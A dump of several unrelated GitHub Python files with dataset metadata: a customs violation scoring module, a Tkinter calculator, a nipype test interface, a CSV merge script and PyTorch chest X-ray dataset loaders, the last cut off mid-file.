_qlt_hsvp_tyle_nhoms: List[qlt_hsvp_tyle_nhom] = []\n params_pltlvp = self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_PLTLVP]\n for ttpl in self.qlt_hsvp_tytrong_nhoms():\n kl = qlt_hsvp_tyle_nhom()\n kl.NK_XK = ttpl.NK_XK\n kl.ID_NHOM = ttpl.ID_NHOM\n _params_pltlvp: List[QLT_PARAMS_HSVP_PLTLVP] = [p for p in params_pltlvp\n if p.NK_XK == ttpl.NK_XK and p.ID_NHOM == ttpl.ID_NHOM\n ]\n ## sắp xếp lại theo giá trị của bảng PLCC:\n _params_pltlvp.sort(key=lambda k: k.GIATRI, reverse=False)\n for item in _params_pltlvp:\n if ttpl.TYTRONG <= item.GIATRI:\n kl.TYLE = item.TYLEPHANLOAI\n break\n\n _qlt_hsvp_tyle_nhoms.append(kl)\n\n return _qlt_hsvp_tyle_nhoms\n\n #// Step 6: Nhan diem phan loai nhom * ty le phan loai nhom (vi pham co to khai) ( trước khi cộng vp không tờ khai)\n #@property\n def DIEM_PLVP_TRUOCCONG(self):\n _DIEM_PLVP_TRUOCCONG = {}\n _dplnhoms = self.qlt_hsvp_phanloai_nhoms()\n _tlplnhoms = self.qlt_hsvp_tyle_nhoms()\n _dict_dplnhoms = {(item.NK_XK, item.ID_NHOM): item.DIEMNHOM for item in _dplnhoms}\n _dict_tlplnhoms = {(item.NK_XK, item.ID_NHOM): item.TYLE for item in _tlplnhoms}\n _DIEM_PLVP_TRUOCCONG_NK = 0.0\n _DIEM_PLVP_TRUOCCONG_XK = 0.0\n for key, value in _dict_dplnhoms.items():\n if key[0] == const_crms.LOAI_HINH_NK:\n _DIEM_PLVP_TRUOCCONG_NK += (value * _dict_tlplnhoms[key])/100\n else:\n _DIEM_PLVP_TRUOCCONG_XK += (value * _dict_tlplnhoms[key])/100\n\n _DIEM_PLVP_TRUOCCONG[const_crms.LOAI_HINH_NK] = _DIEM_PLVP_TRUOCCONG_NK\n _DIEM_PLVP_TRUOCCONG[const_crms.LOAI_HINH_XK] = _DIEM_PLVP_TRUOCCONG_XK\n\n return _DIEM_PLVP_TRUOCCONG\n\n\n #// Step 7: Diem phan loai vi pham + Diem phan loai vi pham khong co to khai\n #@property\n def DIEM_PLVP(self):\n _DIEM_PLVP_TRUOCCONG = self.DIEM_PLVP_TRUOCCONG()\n _DIEM_PLVP = {}\n diem_ktokhai = self.qlt_hsvp_tokhais\n _DIEM_PLVP[const_crms.LOAI_HINH_NK] = _DIEM_PLVP_TRUOCCONG[const_crms.LOAI_HINH_NK] + diem_ktokhai.DIEM_KHONGTK\n _DIEM_PLVP[const_crms.LOAI_HINH_XK] = _DIEM_PLVP_TRUOCCONG[const_crms.LOAI_HINH_XK] + diem_ktokhai.DIEM_KHONGTK\n\n return _DIEM_PLVP\n\n #// Step 8: Diem phan loai vi pham * he so phan loai XK, NK\n #@property\n def DIEM_PLVP_NHANHESO(self):\n _DIEM_PLVP_NHANHESO = {}\n _DIEM_PLVP = self.DIEM_PLVP()\n _params_hsplxnk: List[QLT_PARAMS_HSVP_HSPLXNK] = self._hsvp_params[const_hsvp_params.QLT_PARAMS_HSVP_HSPLXNK]\n _hs_NK = [item.HESO for item in _params_hsplxnk if item.NK_XK == const_crms.LOAI_HINH_NK][0]\n _hs_XK = [item.HESO for item in _params_hsplxnk if item.NK_XK == const_crms.LOAI_HINH_XK][0]\n\n _DIEM_PLVP_NHANHESO[const_crms.LOAI_HINH_NK] = _DIEM_PLVP[const_crms.LOAI_HINH_NK] * _hs_NK\n _DIEM_PLVP_NHANHESO[const_crms.LOAI_HINH_XK] = _DIEM_PLVP[const_crms.LOAI_HINH_XK] * _hs_XK\n\n return _DIEM_PLVP_NHANHESO\n\n #// Step 9: Diem phan loai vi pham NK trc khi cong + Diem phan loai vi pham XK da nhan he so\n @property\n def DIEM_PLCC(self):\n _DIEM_PLVP = self.DIEM_PLVP()\n _DIEM_PLVP_NHANHESO = self.DIEM_PLVP_NHANHESO()\n _kl = qlt_hsvp_diemplcc()\n _kl.DIEM_PLCC_NK = _DIEM_PLVP[const_crms.LOAI_HINH_NK] + _DIEM_PLVP_NHANHESO[const_crms.LOAI_HINH_NK]\n _kl.DIEM_PLCC_XK = _DIEM_PLVP[const_crms.LOAI_HINH_XK] + _DIEM_PLVP_NHANHESO[const_crms.LOAI_HINH_XK]\n\n return _kl\n\n\nclass qlt_tieuchi_hsvp:\n def __init__(self):\n self.MA_DN=\"\"\n self.QLT_THONGTINVIPHAMs: List[QLT_THONGTINVIPHAM] = []\n self.SOTOKHAIDUOCTHONGQUAN = 0\n\nclass qlt_hsvp_tokhai:\n def __init__(self):\n self.SOLUONG_COTK = 0\n self.SOLUONG_KHONGTK = 0\n self.DIEM_COTK = 0.0\n self.DIEM_KHONGTK = 0.0\n\nclass qlt_hsvp_nhom:\n def __init__(self):\n self.ID_NHOM = \"\"\n self.NK_XK = None\n self.HSPLVP = 0.0\n self.HSPLTN = 0.0\n self.SOLUONG_NHOM = 0.0\n\nclass qlt_hsvp_phanloai_nhom:\n def __init__(self):\n self.ID_NHOM = \"\"\n self.NK_XK = None\n self.DIEMNHOM = None\n\nclass qlt_hsvp_tytrong_nhom:\n def __init__(self):\n self.ID_NHOM = \"\"\n self.NK_XK = None\n self.TYTRONG = 0.0\n\nclass qlt_hsvp_tyle_nhom:\n def __init__(self):\n self.ID_NHOM = \"\"\n self.NK_XK = None\n self.TYLE = 0.0\n\nclass qlt_hsvp_diemplcc:\n def __init__(self):\n self.DIEM_PLCC_NK = 0.0\n self.DIEM_PLCC_XK = 0.0\n\n","repo_name":"bnducgiang90/khoailangtotet","sub_path":"datamodels/crms/qlt_hsvp_xhdn.py","file_name":"qlt_hsvp_xhdn.py","file_ext":"py","file_size_in_byte":12701,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22156769829","text":"from tkinter import *\n\nroot = Tk()\n# window name\nroot.title(\"Calculator\")\n\n# entry box \nentry = Entry(root,width=40,borderwidth=5)\nentry.grid(row=0,column=0,columnspan=3,padx=10,pady=30)\n\n\ndef Button_click(number):\n # entry.delete(0,END)\n current = entry.get()\n entry.delete(0,END)\n entry.insert(0,str(current) + str(number))\n\ndef Button_clear():\n entry.delete(0,END)\n\ndef Button_add():\n first_number = entry.get()\n global f_num\n global math\n math = \"Addition\"\n f_num = int(first_number)\n entry.delete(0,END)\n\ndef Button_equal():\n second_number = entry.get()\n entry.delete(0,END)\n if math == \"Addition\":\n entry.insert(0,f_num+int(second_number))\n\n if math == \"Subtaction\":\n entry.insert(0,f_num-int(second_number))\n \n if math == \"Multiply\":\n entry.insert(0,f_num*int(second_number))\n \n if math == \"Devide\":\n entry.insert(0,f_num/int(second_number))\n\ndef Button_subtract():\n first_number = entry.get()\n global f_num\n global math\n math = \"Subtraction\"\n f_num = int(first_number)\n entry.delete(0,END)\n\ndef Button_multiply():\n first_number = entry.get()\n global f_num\n global math\n math = \"Multiply\"\n f_num = int(first_number)\n entry.delete(0,END)\n\ndef Button_devide():\n first_number = entry.get()\n global f_num\n global math\n math = \"Devide\"\n f_num = int(first_number)\n entry.delete(0,END)\n\n\nbutton1 = Button(root,text=\"1\",padx=40,pady=20,command=lambda:Button_click(1))\nbutton2 = Button(root,text=\"2\",padx=40,pady=20,command=lambda:Button_click(2))\nbutton3 = Button(root,text=\"3\",padx=40,pady=20,command=lambda:Button_click(3))\nbutton4 = Button(root,text=\"4\",padx=40,pady=20,command=lambda:Button_click(4))\nbutton5 = Button(root,text=\"5\",padx=40,pady=20,command=lambda:Button_click(5))\nbutton6 = Button(root,text=\"6\",padx=40,pady=20,command=lambda:Button_click(6))\nbutton7 = Button(root,text=\"7\",padx=40,pady=20,command=lambda:Button_click(7))\nbutton8 = Button(root,text=\"8\",padx=40,pady=20,command=lambda:Button_click(8))\nbutton9 = Button(root,text=\"9\",padx=40,pady=20,command=lambda:Button_click(9))\nbutton0 = Button(root,text=\"0\",padx=40,pady=20,command=lambda:Button_click(0))\n\nbutton_add = Button(root,text=\"+\",padx=39,pady=20,command=Button_add)\nbutton_equal = Button(root,text=\"=\",padx=87,pady=20,command=Button_equal)\n\nbutton_clear = Button(root,text='Clear',padx=79,pady=20,command=Button_clear )\n\n\n\nbutton_subtract = Button(root,text=\"-\",padx=40,pady=20,command=Button_subtract)\nbutton_multiply = Button(root,text=\"*\",padx=42,pady=20,command=Button_multiply)\n\nbutton_devide = Button(root,text='/',padx=42,pady=20,command=Button_devide)\n\n\n# puts button on the screen\n\nbutton1.grid(row=3,column=0)\nbutton2.grid(row=3,column=1)\nbutton3.grid(row=3,column=2)\n\nbutton4.grid(row=2,column=0)\nbutton5.grid(row=2,column=1)\nbutton6.grid(row=2,column=2)\n\nbutton7.grid(row=1,column=0)\nbutton8.grid(row=1,column=1)\nbutton9.grid(row=1,column=2)\n\nbutton0.grid(row=4,column=0,columnspan=1)\n\n# symbols grids\nbutton_add.grid(row=5,column=0,columnspan=1)\nbutton_equal.grid(row=5,column=1,columnspan=2)\nbutton_clear.grid(row=4,column=1,columnspan=2)\nbutton_subtract.grid(row=6,column=0,)\nbutton_multiply.grid(row=6,column=1)\nbutton_devide.grid(row=6,column=2)\n\nroot.mainloop()","repo_name":"manishhedau/Python-Projects","sub_path":"Tkinter/Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"75101301264","text":"from .singularity import (SingularityInputSpec,\n SingularityOutputSpec,\n SingularityTask)\nfrom nipype.interfaces.base import (traits,\n File)\n\n\nclass TestInputSpec(SingularityInputSpec):\n myarg = traits.Unicode(desc=\"An argument\",\n argstr='--myarg %s')\n dwiFile = File(argstr='--dwiFile %s',\n desc=\"\"\"Input diffusion weighted (DWI) file.\"\"\",\n exists=True)\n returnParameterFile = File(argstr='--returnparameterfile %s',\n desc=\"\"\"Filename to write simple parameters\n (int, float, int-vector, etc.) as opposed\n to bulk return parameters (image, geom,\n transform, measurement, table).\"\"\",\n name_source=['dwiFile'],\n hash_files=False,\n name_template='%s_params.txt',\n mandatory=False)\n\n\nclass TestOuputSpec(SingularityOutputSpec):\n returnParameterFile = File(desc=\"Output parameter file\", exists=False)\n\n\nclass Test(SingularityTask):\n input_spec = TestInputSpec\n\n def __init__(self, **inputs):\n super(Test, self).__init__(**inputs)\n\n def _list_outputs(self):\n super(Test, self)._list_outputs()\n outputs = self.output_spec().get()\n outputs['returnParameterFile'] = self.inputs.log_file\n return(outputs)\n\nif __name__ == '__main__':\n interface = Test(container='test_container/test.img',\n dwiFile='input.nrrd')\n print(interface.cmdline)\n","repo_name":"tomwright01/nipype_singularity","sub_path":"pipeline/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14224366165","text":"import csv\nimport os\nimport glob\nimport argparse\nimport numpy as np\n\n\ndef merge_csv_files(src_dir, dst_dir):\n '''\n Takes a list of csv files (full file path) and merges them into a\n single output.\n '''\n # Create a list of all the md files in the given directory\n csv_list = glob.glob(os.path.join(src_dir, '*_md.csv'))\n csv_list.sort() # This will sort by frame number\n\n\n # extract the flight name (i.e. date) from one of the csv files\n fname = os.path.basename(csv_list[0])\n flight_id = fname.rsplit('_', 2)[0].split('/')[-1]\n yyyy, mm, dd = flight_id.split('_')\n\n aggregate_data = []\n\n # Read each file and add it to the aggregate list\n for file in csv_list:\n data = read_md_file(file)\n aggregate_data.append(data)\n\n dst_name = 'GR_{}{}{}_metadata.csv'.format(yyyy, mm, dd)\n dst_file = os.path.join(dst_dir, dst_name)\n\n # Write the aggregated data to a single output file\n write_merged_md(dst_file, aggregate_data)\n\n\ndef read_md_file(md_file):\n '''\n Reads a single metadata file and returns the relevant information\n '''\n qa = 0\n snow, gray, pond, ocean, shadow = 0, 0, 0, 0, 0\n\n # Get the frame number from the filename\n fname = os.path.basename(md_file)\n frame = int(fname.split('_')[3])\n\n with open(md_file, 'r') as md:\n csv_reader = csv.reader(md)\n # Remove the header\n try:\n next(csv_reader)\n for row in csv_reader:\n qa = float(row[0])\n snow = float(row[1])\n gray = float(row[2])\n pond = float(row[3])\n ocean = float(row[4])\n try:\n shadow = float(row[5])\n except IndexError:\n shadow = 0\n except Exception as e: # Make sure empty files don't crash the tool\n print('Caught exception: ' + str(e))\n print('File: ' + md_file)\n\n data = [frame, qa, snow, gray, pond, ocean, shadow]\n\n return data\n\n\ndef write_merged_md(dst_file, aggregate_data):\n\n print(\"Writing to {}...\".format(dst_file))\n\n with open(dst_file, 'w') as md:\n csv_writer = csv.writer(md)\n csv_writer.writerow([\"Frame\", \"Quality Score\", \"White Ice\",\n \"Gray Ice\", \"Melt Ponds\", \"Open Water\", \"Shadow\"])\n csv_writer.writerows(aggregate_data)\n\n\ndef main():\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"src_dir\",\n help=\"Source directory containing *_md.csv files.\")\n parser.add_argument(\"--dst_dir\", default=None,\n help=\"folder to place the merged data file\")\n\n args = parser.parse_args()\n\n #src_dir = os.path.dirname(args.src_dir)\n src_dir = args.src_dir\n dst_dir = args.dst_dir\n\n if dst_dir is None:\n dst_dir = os.path.split(src_dir)[0]\n #else:\n # dst_dir = os.path.dirname(dst_dir)\n\n merge_csv_files(src_dir, dst_dir)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"NeoGeographyToolkit/Tools","sub_path":"nsidc_upload/labels/merge_md.py","file_name":"merge_md.py","file_ext":"py","file_size_in_byte":2999,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"4078390867","text":"import glob, os, sys, pdb, time\nimport pandas as pd\nimport numpy as np\nimport cv2\nimport pickle\nfrom torch.utils.data import Dataset\nfrom tqdm import tqdm\nimport torch\nimport torchvision.transforms as transforms\nfrom imageio import imread\nfrom PIL import Image, ImageOps\nimport torchvision.models as models \nimport torch.nn as nn\nfrom matplotlib import pyplot as plt\nimport csv\nimport pandas as pd\nimport config\nimport PIL.Image as pilimg\nfrom multiprocessing import Pool\nfrom torchvision.datasets import CIFAR10\nfrom torchvision.datasets import CIFAR100\nimport torch.utils.data as data\n\n \nclass GANLoader(Dataset):\n \n def ChestXdataloader(self, img):\n\n # Adaptive masking\n# threshold = img.min() + (img.max() - img.min()) * 0.9\n# img[img > threshold] = 0\n\n # plt.imshow(img)\n # plt.show()\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n transform = transforms.Compose([\n transforms.ToPILImage(),\n transforms.Resize((256, 256)),\n transforms.ToTensor(),\n normalize\n ])\n\n img = transform(img)\n\n return img\n\n def __init__(self):\n\n self.df1 = pd.read_csv('C:/Users/hb/Desktop/code/2.TF_to_Torch/Data/pggan_df.csv', index_col=0)\n # self.df2 = pd.read_csv('C:/Users/hb/Desktop/code/2.TF_to_Torch/Data/pggan2_df.csv', index_col=0)\n # self.df = pd.concat([self.df1, self.df2], ignore_index=True)\n self.df = self.df1.iloc[:, :]\n self.disease_cnt = [0]*14\n\n ### Need to be editted\n for i in range(len(self.df.index)):\n row = self.df.loc[i]\n for j in range(14):\n if row[j] == 1:\n self.disease_cnt[j] += 1\n\n def __len__(self):\n return self.df.shape[0]\n\n def __getitem__(self, index): # 여기에 들어가는 index는?\n \n label = [0] * 14\n row = self.df.loc[index]\n img = cv2.imread(row[14])\n\n # plt.imshow(img)\n # plt.show()\n\n img = self.ChestXdataloader(img)\n for i in range(14):\n label[i] = row[i]\n label = torch.tensor(label)\n label = label.float()\n\n # print(label)\n\n return img, label\n\n def get_ds_cnt(self):\n return self.disease_cnt\n\nclass XRaysTestDataset(Dataset):\n def __init__(self, data_dir, transform = None):\n self.data_dir = data_dir\n self.transform = transform\n # print('self.data_dir: ', self.data_dir)\n\n # full dataframe including train_val and test set\n self.df = self.get_df()\n\n self.make_pkl_dir(config.pkl_dir_path)\n\n # loading the classes list\n with open(os.path.join(config.pkl_dir_path, config.disease_classes_pkl_path), 'rb') as handle:\n self.all_classes = pickle.load(handle)\n \n\n # get test_df\n if not os.path.exists(os.path.join(config.pkl_dir_path, config.test_df_pkl_path)):\n\n self.test_df = self.get_test_df()\n # print('self.test_df.shape: ', self.test_df.shape)\n \n # pickle dump the test_df\n with open(os.path.join(config.pkl_dir_path, config.test_df_pkl_path), 'wb') as handle:\n pickle.dump(self.test_df, handle, protocol = pickle.HIGHEST_PROTOCOL)\n print('\\n{}: dumped'.format(config.test_df_pkl_path))\n else:\n # pickle load the test_df\n with open(os.path.join(config.pkl_dir_path, config.test_df_pkl_path), 'rb') as handle:\n self.test_df = pickle.load(handle)\n # print('\\n{}: loaded'.format(config.test_df_pkl_path))\n # print('self.test_df.shape: {}'.format(self.test_df.shape))\n\n self.disease_cnt = [0]*14\n self.all_classes = ['Cardiomegaly','Emphysema','Effusion','Hernia','Infiltration','Mass','Nodule','Atelectasis','Pneumothorax','Pleural_Thickening','Pneumonia','Fibrosis','Edema','Consolidation', 'No Finding']\n for i in range(len(self.test_df)):\n row = self.test_df.iloc[i, :]\n labels = str.split(row['Finding Labels'], '|')\n for lab in labels: \n lab_idx = self.all_classes.index(lab)\n if lab_idx == 14: # No Finding\n continue\n self.disease_cnt[lab_idx] += 1\n\n def get_ds_cnt(self):\n return self.disease_cnt\n\n def __getitem__(self, index):\n\n self.all_classes = ['Cardiomegaly','Emphysema','Effusion','Hernia','Infiltration','Mass','Nodule','Atelectasis','Pneumothorax','Pleural_Thickening','Pneumonia','Fibrosis','Edema','Consolidation', 'No Finding']\n\n row = self.test_df.iloc[index, :]\n \n img = cv2.imread(row['image_links'])\n labels = str.split(row['Finding Labels'], '|')\n \n target = torch.zeros(len(self.all_classes)) # 15\n new_target = torch.zeros(len(self.all_classes) - 1) # 14\n for lab in labels:\n lab_idx = self.all_classes.index(lab)\n target[lab_idx] = 1 \n\n # # Delete No Finding\n # i = self.all_classes.index('No Finding')\n # target = torch.cat([target[0:i], target[i+1:]])\n\n # #Change Label \n # # Atelectasis : 0 -> 7\n # new_target[7] = target[0]\n # # Cardiomegaly : 1 -> 0\n # new_target[0] = target[1]\n # # Consolidation : 2 -> 13\n # new_target[13] = target[2]\n # # Edema : 3 -> 12\n # new_target[12] = target[3]\n # # Effusion : 4 -> 2\n # new_target[2] = target[4]\n # # Emphysema : 5 -> 1\n # new_target[1] = target[5]\n # # Fibrosis : 6 -> 11\n # new_target[11] = target[6]\n # # Hernia : 7 -> 3\n # new_target[3] = target[7]\n # # Infiltration : 8 -> 4\n # new_target[4] = target[8]\n # # Mass : 9 -> 5\n # new_target[5] = target[9]\n # # Nodule : 10 -> 6\n # new_target[6] = target[10]\n # # Pleural_Thickening : 11 -> 9\n # new_target[9] = target[11]\n # # Pneumonia : 12 -> 10\n # new_target[10] = target[12]\n # # Atelectasis : 13 -> 7\n # new_target[8] = target[13]\n\n \n if self.transform is not None:\n img = self.transform(img)\n \n return img, target[:14]\n\n def make_pkl_dir(self, pkl_dir_path):\n if not os.path.exists(pkl_dir_path):\n os.mkdir(pkl_dir_path)\n\n def get_df(self):\n csv_path = os.path.join(self.data_dir, 'Data_Entry_2017.csv')\n \n all_xray_df = pd.read_csv(csv_path)\n\n df = pd.DataFrame() \n df['image_links'] = [x for x in glob.glob(os.path.join(self.data_dir, 'images*', '*', '*.png'))]\n\n df['Image Index'] = df['image_links'].apply(lambda x : x[len(x)-16:len(x)])\n merged_df = df.merge(all_xray_df, how = 'inner', on = ['Image Index'])\n merged_df = merged_df[['image_links','Finding Labels']]\n return merged_df\n\n def get_test_df(self):\n\n # get the list of test data \n test_list = self.get_test_list()\n\n test_df = pd.DataFrame()\n # print('\\nbuilding test_df...')\n for i in tqdm(range(self.df.shape[0])):\n filename = os.path.basename(self.df.iloc[i,0])\n # print('filename: ', filename)\n if filename in test_list:\n test_df = test_df.append(self.df.iloc[i:i+1, :])\n \n # print('test_df.shape: ', test_df.shape)\n\n return test_df\n\n def get_test_list(self):\n f = open( os.path.join('C:/Users/hb/Desktop/data/archive', 'test_list.txt'), 'r')\n test_list = str.split(f.read(), '\\n')\n return test_list\n\n def __len__(self):\n return len(self.test_df)\n\nclass XRaysTrainDataset(Dataset):\n\n def __init__(self, data_dir, transform = None, indices=None):\n\n self.data_dir = data_dir\n self.extreme = False\n self.transform = transform\n # print('self.data_dir: ', self.data_dir)\n\n # full dataframe including train_val and test set\n self.df = self.get_df()\n self.df.to_csv('./Data/train_val_XRaysTrainDataset.csv')\n # print('self.df.shape: {}'.format(self.df.shape))\n\n self.make_pkl_dir(config.pkl_dir_path)\n # print(os.path.join(config.pkl_dir_path, config.train_val_df_pkl_path))\n # get train_val_df\n if not os.path.exists(os.path.join(config.pkl_dir_path, config.train_val_df_pkl_path)):\n\n self.train_val_df = self.get_train_val_df()\n # print('\\nself.train_val_df.shape: {}'.format(self.train_val_df.shape))\n\n # pickle dump the train_val_df\n with open(os.path.join(config.pkl_dir_path, config.train_val_df_pkl_path), 'wb') as handle:\n pickle.dump(self.train_val_df, handle, protocol = pickle.HIGHEST_PROTOCOL)\n # print('{}: dumped'.format(config.train_val_df_pkl_path))\n \n else:\n # pickle load the train_val_df\n with open(os.path.join(config.pkl_dir_path, config.train_val_df_pkl_path), 'rb') as handle:\n self.train_val_df = pickle.load(handle)\n # print('\\n{}: loaded'.format(config.train_val_df_pkl_path))\n # print('self.train_val_df.shape: {}'.format(self.train_val_df.shape))\n\n self.the_chosen, self.all_classes, self.all_classes_dict = self.choose_the_indices()\n ### sample indices\n self.the_chosen = indices\n \n if not os.path.exists(os.path.join(config.pkl_dir_path, config.disease_classes_pkl_path)):\n # pickle dump the classes list\n with open(os.path.join(config.pkl_dir_path, config.disease_classes_pkl_path), 'wb') as handle:\n pickle.dump(self.all_classes, handle, protocol = pickle.HIGHEST_PROTOCOL)\n print('\\n{}: dumped'.format(config.disease_classes_pkl_path))\n else:\n pass\n # print('\\n{}: already exists'.format(config.disease_classes_pkl_path))\n\n self.new_df = self.train_val_df.iloc[self.the_chosen, :] # this is the sampled train_val data\n self.new_df = self.new_df.reset_index()\n # Do not sample the training data\n # self.new_df = self.train_val_df\n\n self.disease_cnt = [0]*14\n self.all_classes = ['Cardiomegaly','Emphysema','Effusion','Hernia','Infiltration','Mass','Nodule','Atelectasis','Pneumothorax','Pleural_Thickening','Pneumonia','Fibrosis','Edema','Consolidation', 'No Finding']\n delete_lst = []\n if self.extreme == True: # extreme case\n for i in range(len(self.new_df)):\n row = self.new_df.iloc[i, :]\n labels = str.split(row['Finding Labels'], '|')\n for lab in labels: \n lab_idx = self.all_classes.index(lab)\n if lab_idx == 14: # No Finding\n continue\n if lab_idx == 2 or lab_idx == 7:\n if self.disease_cnt[lab_idx] > 1:\n delete_lst.append(i)\n break\n self.disease_cnt[lab_idx] += 1\n self.new_df = self.new_df.drop(index=delete_lst, axis=0)\n self.disease_cnt = [0]*14\n\n for i in range(len(self.new_df)):\n row = self.new_df.iloc[i, :]\n labels = str.split(row['Finding Labels'], '|')\n for lab in labels: \n lab_idx = self.all_classes.index(lab)\n if lab_idx == 14: # No Finding\n continue\n self.disease_cnt[lab_idx] += 1\n\n def get_ds_cnt(self):\n return self.disease_cnt\n\n # print('\\nself.all_classes_dict: {}'.format(self.all_classes_dict))\n \n def compute_class_freqs(self):\n \"\"\"\n Compute positive and negative frequences for each class.\n\n Args:\n labels (np.array): matrix of labels, size (num_examples, num_classes)\n Returns:\n positive_frequencies (np.array): array of positive frequences for each\n class, size (num_classes)\n negative_frequencies (np.array): array of negative frequences for each\n class, size (num_classes)\n \"\"\" \n # total number of patients (rows)\n labels = self.train_val_df ## What is the shape of this???\n N = labels.shape[0]\n positive_frequencies = (labels.sum(axis = 0))/N\n negative_frequencies = 1.0 - positive_frequencies\n \n return positive_frequencies, negative_frequencies\n\n def resample(self):\n self.the_chosen, self.all_classes, self.all_classes_dict = self.choose_the_indices()\n # self.new_df = self.train_val_df.iloc[self.the_chosen, :]\n self.new_df = self.train_val_df\n\n # print('\\nself.all_classes_dict: {}'.format(self.all_classes_dict))\n\n def make_pkl_dir(self, pkl_dir_path):\n if not os.path.exists(pkl_dir_path):\n os.mkdir(pkl_dir_path)\n\n def get_train_val_df(self):\n\n # get the list of train_val data \n train_val_list = self.get_train_val_list()\n print(\"train_va_list: \",len(train_val_list))\n\n train_val_df = pd.DataFrame()\n print('\\nbuilding train_val_df...')\n for i in tqdm(range(self.df.shape[0])):\n filename = os.path.basename(self.df.iloc[i,0])\n # print('filename: ', filename)\n if filename in train_val_list:\n train_val_df = train_val_df.append(self.df.iloc[i:i+1, :])\n\n # print('train_val_df.shape: {}'.format(train_val_df.shape))\n\n return train_val_df\n\n def __getitem__(self, index):\n\n self.all_classes = ['Cardiomegaly','Emphysema','Effusion','Hernia','Infiltration','Mass','Nodule','Atelectasis','Pneumothorax','Pleural_Thickening','Pneumonia','Fibrosis','Edema','Consolidation', 'No Finding']\n\n row = self.new_df.iloc[index, :]\n\n img = cv2.imread(row['image_links'])\n labels = str.split(row['Finding Labels'], '|')\n \n target = torch.zeros(len(self.all_classes))\n new_target = torch.zeros(len(self.all_classes) - 1)\n for lab in labels:\n lab_idx = self.all_classes.index(lab)\n target[lab_idx] = 1 \n \n if self.transform is not None:\n img = self.transform(img)\n\n # # Delete No Finding\n # i = self.all_classes.index('No Finding')\n # target = torch.cat([target[0:i], target[i+1:]])\n\n # #Change Label \n # # Atelectasis : 0 -> 7\n # new_target[7] = target[0]\n # # Cardiomegaly : 1 -> 0\n # new_target[0] = target[1]\n # # Consolidation : 2 -> 13\n # new_target[13] = target[2]\n # # Edema : 3 -> 12\n # new_target[12] = target[3]\n # # Effusion : 4 -> 2\n # new_target[2] = target[4]\n # # Emphysema : 5 -> 1\n # new_target[1] = target[5]\n # # Fibrosis : 6 -> 11\n # new_target[11] = target[6]\n # # Hernia : 7 -> 3\n # new_target[3] = target[7]\n # # Infiltration : 8 -> 4\n # new_target[4] = target[8]\n # # Mass : 9 -> 5\n # new_target[5] = target[9]\n # # Nodule : 10 -> 6\n # new_target[6] = target[10]\n # # Pleural_Thickening : 11 -> 9\n # new_target[9] = target[11]\n # # Pneumonia : 12 -> 10\n # new_target[10] = target[12]\n # # Atelectasis : 13 -> 7\n # new_target[8] = target[13]\n \n return img, target[:14]\n \n def choose_the_indices(self):\n \n max_examples_per_class = 10000 # its the maximum number of examples that would be sampled in the training set for any class\n the_chosen = []\n all_classes = {}\n length = len(self.train_val_df)\n # for i in tqdm(range(len(merged_df))):\n # print('\\nSampling the huuuge training dataset')\n for i in list(np.random.choice(range(length),length, replace = False)):\n \n temp = str.split(self.train_val_df.iloc[i, :]['Finding Labels'], '|')\n\n # special case of ultra minority hernia. we will use all the images with 'Hernia' tagged in them.\n if 'Hernia' in temp:\n the_chosen.append(i)\n for t in temp:\n if t not in all_classes:\n all_classes[t] = 1\n else:\n all_classes[t] += 1\n continue\n\n # choose if multiple labels\n if len(temp) > 1:\n bool_lis = [False]*len(temp)\n # check if any label crosses the upper limit\n for idx, t in enumerate(temp):\n if t in all_classes:\n if all_classes[t]< max_examples_per_class: # 500\n bool_lis[idx] = True\n else:\n bool_lis[idx] = True\n # if all lables under upper limit, append\n if sum(bool_lis) == len(temp): \n the_chosen.append(i)\n # maintain count\n for t in temp:\n if t not in all_classes:\n all_classes[t] = 1\n else:\n all_classes[t] += 1\n else: # these are single label images\n for t in temp:\n if t not in all_classes:\n all_classes[t] = 1\n else:\n if all_classes[t] < max_examples_per_class: # 500\n all_classes[t] += 1\n the_chosen.append(i)\n\n # print('len(all_classes): ', len(all_classes))\n # print('all_classes: ', all_classes)\n # print('len(the_chosen): ', len(the_chosen))\n \n '''\n if len(the_chosen) != len(set(the_chosen)):\n print('\\nGadbad !!!')\n print('and the difference is: ', len(the_chosen) - len(set(the_chosen)))\n else:\n print('\\nGood')\n '''\n\n return the_chosen, sorted(list(all_classes)), all_classes\n \n def get_df(self):\n csv_path = os.path.join(self.data_dir, 'Data_Entry_2017.csv')\n # print('\\n{} found: {}'.format(csv_path, os.path.exists(csv_path)))\n \n all_xray_df = pd.read_csv(csv_path)\n\n df = pd.DataFrame() \n df['image_links'] = [x for x in glob.glob(os.path.join(self.data_dir, 'images*', '*', '*.png'))]\n\n df['Image Index'] = df['image_links'].apply(lambda x : x[len(x)-16:len(x)])\n merged_df = df.merge(all_xray_df, how = 'inner', on = ['Image Index'])\n merged_df = merged_df[['image_links','Finding Labels']]\n return merged_df\n \n def get_train_val_list(self):\n f = open(\"C:/Users/hb/Desktop/data/archive/train_val_list.txt\", 'r')\n train_val_list = str.split(f.read(), '\\n')\n return train_val_list\n\n def __len__(self):\n return len(self.new_df)\n\nclass ChexpertTrainDataset(Dataset):\n\n \n\n def __init__(self, transform = None, indices = None):\n \n csv_path = \"C:/Users/hb/Desktop/data/CheXpert-v1.0-small/train.csv\"\n self.dir = \"C:/Users/hb/Desktop/data/\"\n self.transform = transform\n\n self.all_data = pd.read_csv(csv_path)\n self.all_data = self.all_data.drop(columns=['Sex','Age','AP/PA'])\n self.all_data = self.all_data.drop(columns=['Support Devices', 'No Finding'])\n # 'Pleural Effusion','Pleural Other',\n self.all_data = self.all_data.fillna(0)\n self.all_data = self.all_data.replace(-1,1) # U1\n \n self.frontal_data = self.all_data[self.all_data['Frontal/Lateral'] == 'Frontal']\n self.selecte_data = self.all_data.iloc[indices, :]\n # 